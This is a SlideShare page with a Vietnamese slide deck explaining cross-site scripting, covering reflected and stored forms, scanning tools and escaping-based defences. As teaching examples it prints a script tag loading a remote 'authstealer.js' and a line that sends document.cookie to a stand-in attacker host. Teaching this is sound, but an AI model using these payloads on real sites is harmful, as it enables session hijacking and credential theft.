SlideShare a Scribd company logo
1 of 16
Lỗi XSS - Cross-Site
Scripting
Mục lục
Các dạng tấn công
Công cụ tìm kiếm lỗi
Cách phòng chống lỗi
Khái niệm
Khái niệm
•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ
liệu không đáng tin và gửi những dữ liệu đấy cho
trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:
<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên
đăng nhập của người dùng, “deface” trang web hay
dẫn người dùng đến những trang web lừa đảo
Các dạng lỗi
Non-persistent
Persistent
Non-persistent
•Với dạng non-persistent, dữ liệu khai thác sẽ
không được lưu trữ trên server.
A dùng trang web của B
Trang web của B cho phép A lập tài khoản và chứa
những thông tin riêng tư
Trang web của B có lỗi XSS trong chức năng tìm
kiếm
http://bobssite.org?q=search term
search term
Non-persistent
Ví dụ
• Chức năng tìm kiếm của trang web khi nhận được
một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
http://bobssite.org?q=puppies
puppies
puppies not found
• Chức năng tìm kiếm của trang web khi nhận được
một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
http://bobssite.org?q=<script…
<script ….
<script …. not found
pwnd
• C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Check out this cute puppy.
http://bobssite.org?q=puppies<
script%20….
From: c@email.com
•A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not
found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang
web của C
Ví dụ: một đoạn trong authstealer.js
new Image().src =
'http://evil.example.org/steal.php?cookies=' +
encodeURI(document.cookie);
Persistent
Với dạng Persistent, đoạn mã chèn thêm vào được
lưu trữ trên server, như trong CSDL dưới dạng các
comment trong blog, message trong forum hoặc các
visitor log.
Ta có một trang web mà người dùng có thể để lại
những lời nhắn như sau:
Persistent
Ví dụ
• Thay vì nhập vào lời nhắn bình thường, ta nhập vào
đoạn mã sau:
• Kết quả
Xin <script>alert(“XSS”)</script>chào!
Công cụ tìm kiếm lỗi XSS
Có khá nhiều công cụ miễn phí và thương mại để tìm
kiếm lỗi XSS
Grabber
ZAP (OWASP)
Wapiti
• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý
khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào
• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư
viện kiểm tra tự động như AntiSamy (OWASP)
& --> &amp;
< --> &lt;
> --> &gt;
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
Cách phòng chống

More Related Content

What's hot

Mirroring web site using ht track
Mirroring web site using ht trackMirroring web site using ht track
Mirroring web site using ht trackVishal Kumar
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsDenis Kolegov
 
State management
State managementState management
State managementIblesoft
 
BEM it! Introduction to BEM methodology
BEM it! Introduction to BEM methodologyBEM it! Introduction to BEM methodology
BEM it! Introduction to BEM methodologyVarya Stepanova
 
Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessLeon Teale
 
DNS exfiltration using sqlmap
DNS exfiltration using sqlmapDNS exfiltration using sqlmap
DNS exfiltration using sqlmapMiroslav Stampar
 
Cyber Security-Foundation.ppt
Cyber Security-Foundation.pptCyber Security-Foundation.ppt
Cyber Security-Foundation.pptErAdityaSingh1
 
Secure software development presentation
Secure software development presentationSecure software development presentation
Secure software development presentationMahdi Dolati
 
A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013 Sorina Chirilă
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 
HTML Basic, CSS Basic, JavaScript basic.
HTML Basic, CSS Basic, JavaScript basic.HTML Basic, CSS Basic, JavaScript basic.
HTML Basic, CSS Basic, JavaScript basic.Beqa Chacha
 
Protecting web aplications with machine learning and security fabric
Protecting web aplications with machine learning and security fabricProtecting web aplications with machine learning and security fabric
Protecting web aplications with machine learning and security fabricDATA SECURITY SOLUTIONS
 
The virtual DOM and how react uses it internally
The virtual DOM and how react uses it internallyThe virtual DOM and how react uses it internally
The virtual DOM and how react uses it internallyClóvis Neto
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingAnurag Srivastava
 

What's hot (20)

Bootstrap Framework
Bootstrap Framework Bootstrap Framework
Bootstrap Framework
 
Mirroring web site using ht track
Mirroring web site using ht trackMirroring web site using ht track
Mirroring web site using ht track
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP Misconfigurations
 
State management
State managementState management
State management
 
BEM it! Introduction to BEM methodology
BEM it! Introduction to BEM methodologyBEM it! Introduction to BEM methodology
BEM it! Introduction to BEM methodology
 
Cross site scripting XSS
Cross site scripting XSSCross site scripting XSS
Cross site scripting XSS
 
Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awareness
 
DNS exfiltration using sqlmap
DNS exfiltration using sqlmapDNS exfiltration using sqlmap
DNS exfiltration using sqlmap
 
Cyber Security-Foundation.ppt
Cyber Security-Foundation.pptCyber Security-Foundation.ppt
Cyber Security-Foundation.ppt
 
Secure software development presentation
Secure software development presentationSecure software development presentation
Secure software development presentation
 
A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013   A5-Security misconfiguration-OWASP 2013
A5-Security misconfiguration-OWASP 2013
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
HTML Basic, CSS Basic, JavaScript basic.
HTML Basic, CSS Basic, JavaScript basic.HTML Basic, CSS Basic, JavaScript basic.
HTML Basic, CSS Basic, JavaScript basic.
 
Protecting web aplications with machine learning and security fabric
Protecting web aplications with machine learning and security fabricProtecting web aplications with machine learning and security fabric
Protecting web aplications with machine learning and security fabric
 
Javascript Design Patterns
Javascript Design PatternsJavascript Design Patterns
Javascript Design Patterns
 
The virtual DOM and how react uses it internally
The virtual DOM and how react uses it internallyThe virtual DOM and how react uses it internally
The virtual DOM and how react uses it internally
 
IT security awareness
IT security awarenessIT security awareness
IT security awareness
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 

Viewers also liked

PM [B10] In comes Euler
PM [B10] In comes EulerPM [B10] In comes Euler
PM [B10] In comes EulerStephen Kwong
 
listtoclose demo
listtoclose demolisttoclose demo
listtoclose demopcanthony
 
5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning Properly5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning ProperlyHealth Care At Home India
 
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...AM Publications
 
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater RechargeData Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater RechargeAM Publications
 

Viewers also liked (13)

Fine Art Market
Fine Art MarketFine Art Market
Fine Art Market
 
PM [B10] In comes Euler
PM [B10] In comes EulerPM [B10] In comes Euler
PM [B10] In comes Euler
 
Mule smtp connector
Mule smtp connectorMule smtp connector
Mule smtp connector
 
Bm 1 pgp30230
Bm 1 pgp30230Bm 1 pgp30230
Bm 1 pgp30230
 
listtoclose demo
listtoclose demolisttoclose demo
listtoclose demo
 
02 Dasar-dasar Desain
02 Dasar-dasar Desain02 Dasar-dasar Desain
02 Dasar-dasar Desain
 
5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning Properly5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning Properly
 
Как сократить расходы на международную связь?
Как сократить расходы на международную связь?Как сократить расходы на международную связь?
Как сократить расходы на международную связь?
 
2581
25812581
2581
 
Solstis profile and references
Solstis profile and referencesSolstis profile and references
Solstis profile and references
 
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
 
linked in resume
linked in resumelinked in resume
linked in resume
 
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater RechargeData Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
 

Similar to Xss

Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNgoc Dao
 
Tan cong
Tan congTan cong
Tan congtoan
 
Dos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.comDos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.comphanleson
 
Web application-security
Web application-securityWeb application-security
Web application-securityVisla Team
 
một số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạngmột số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạngNguynQuangKhangMinh
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh webNhóc Mèo
 
Báo cáo SQL injecttion
Báo cáo SQL injecttionBáo cáo SQL injecttion
Báo cáo SQL injecttionDuy Nguyenduc
 
Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?Lan Do
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongVu Trung Kien
 
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server nataliej4
 
Sql injection demo - it-slideshares.blogspot.com
Sql injection   demo - it-slideshares.blogspot.comSql injection   demo - it-slideshares.blogspot.com
Sql injection demo - it-slideshares.blogspot.comphanleson
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETHUST
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Luc Cao
 
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoBài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoMasterCode.vn
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạoLuc Cao
 

Similar to Xss (20)

Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
 
Tan cong
Tan congTan cong
Tan cong
 
Bảo mật ứng dụng web
Bảo mật ứng dụng webBảo mật ứng dụng web
Bảo mật ứng dụng web
 
Dos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.comDos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.com
 
Web application-security
Web application-securityWeb application-security
Web application-security
 
một số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạngmột số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạng
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh web
 
Báo cáo SQL injecttion
Báo cáo SQL injecttionBáo cáo SQL injecttion
Báo cáo SQL injecttion
 
Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
 
Sql injection demo - it-slideshares.blogspot.com
Sql injection   demo - it-slideshares.blogspot.comSql injection   demo - it-slideshares.blogspot.com
Sql injection demo - it-slideshares.blogspot.com
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NET
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Bai 11
Bai 11Bai 11
Bai 11
 
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoBài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạo
 

Xss

  • 1. Lỗi XSS - Cross-Site Scripting
  • 2. Mục lục Các dạng tấn công Công cụ tìm kiếm lỗi Cách phòng chống lỗi
  • 4. Khái niệm •Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng • Ví dụ:một đoạn Javascript: <script%20src="http://mallorysevilsite.com/authstealer.js"> •Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo
  • 6. Non-persistent •Với dạng non-persistent, dữ liệu khai thác sẽ không được lưu trữ trên server.
  • 7. A dùng trang web của B Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư Trang web của B có lỗi XSS trong chức năng tìm kiếm http://bobssite.org?q=search term search term Non-persistent Ví dụ
  • 8. • Chức năng tìm kiếm của trang web khi nhận được một query: • Trang web sẽ hiện ra "http://bobssite.org?q=puppies http://bobssite.org?q=puppies puppies puppies not found
  • 9. • Chức năng tìm kiếm của trang web khi nhận được một query bất thường như: • Trang web sẽ hiện ra <script type='text/javascript'>alert('pwnd');</script> http://bobssite.org?q=<script… <script …. <script …. not found pwnd
  • 10. • C tìm ra lỗi này của trang web B • C tạo ra URL • C gửi URL cho những thành viên của trang web B http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"> Check out this cute puppy. http://bobssite.org?q=puppies< script%20…. From: c@email.com
  • 11. •A nhận được email và click vào link •Link dẫn đến trang web của B và hiện ra “puppies not found” •Script authstealer.js trong URL được thực hiện •Script này lấy thông tin xác thực của A và gửi cho trang web của C Ví dụ: một đoạn trong authstealer.js new Image().src = 'http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);
  • 12. Persistent Với dạng Persistent, đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.
  • 13. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau: Persistent Ví dụ
  • 14. • Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau: • Kết quả Xin <script>alert(“XSS”)</script>chào!
  • 15. Công cụ tìm kiếm lỗi XSS Có khá nhiều công cụ miễn phí và thương mại để tìm kiếm lỗi XSS Grabber ZAP (OWASP) Wapiti
  • 16. • “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào • Ví dụ: • Tham khảo thêm về HTML escaping: • Lập danh sách những dữ liệu được phép nhập vào • Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt • Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP) & --> &amp; < --> &lt; > --> &gt; https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy Cách phòng chống